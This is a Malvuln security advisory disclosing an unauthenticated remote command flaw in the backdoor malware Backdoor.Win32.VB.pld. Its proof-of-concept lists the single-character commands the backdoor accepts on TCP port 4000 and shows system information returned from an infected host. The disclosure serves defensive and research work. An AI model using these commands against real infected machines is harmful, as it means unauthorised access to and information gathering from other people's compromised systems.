Backdoor.Win32.VB.pld / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6ff35087d789f7aca6c0e3396984894e_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.VB.pld
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 4000. Third-party attackers
who can reach infected systems can connect to port 4000 and run commands
made available by the backdoor to retrieve information etc. Commands
accepted include backtick operator "`" and single character letters like
C,E,O,Q,r etc.
Type: PE32
MD5: 6ff35087d789f7aca6c0e3396984894e
Vuln ID: MVID-2021-0248
Disclosure: 06/13/2021


Exploit/PoC:
C - (Opens chat terminal)

---<< Hnadle-X Pro V1.0 Text Chat Window! >>---

D  + (Send a message)

E - (Exit chat terminal)

(Get system info with single backtick "`" character)

`Number Of Processors : 1
Processor Type : 586
Processor Level : 6
Processor Version : 24067
Processor Speed : 2712 MHz
Total Physical Memory : 2 GB
Free Physical Momory : 1015.15 MB
Total Momory PageFile : -1476931584 B
Available Memory PageFile : 1.28 GB
Total Virual Memory : 2 GB
Available Virual Memory : 1.87 GB
Country Name : United States
Computer Lnaguge : English
Host Name : DESKTOP-2B4IPHO
Windows Directory : C:\WINDOWS\
System Directory : C:\WINDOWS\system32\
Operationg System : Windows_32


O - Brings up Handle-X V1.0 Whiteboard drawing dialog.
Q - Closes the whiteboard


r - (Sound card initialize)
rSound Card Initialized OKw


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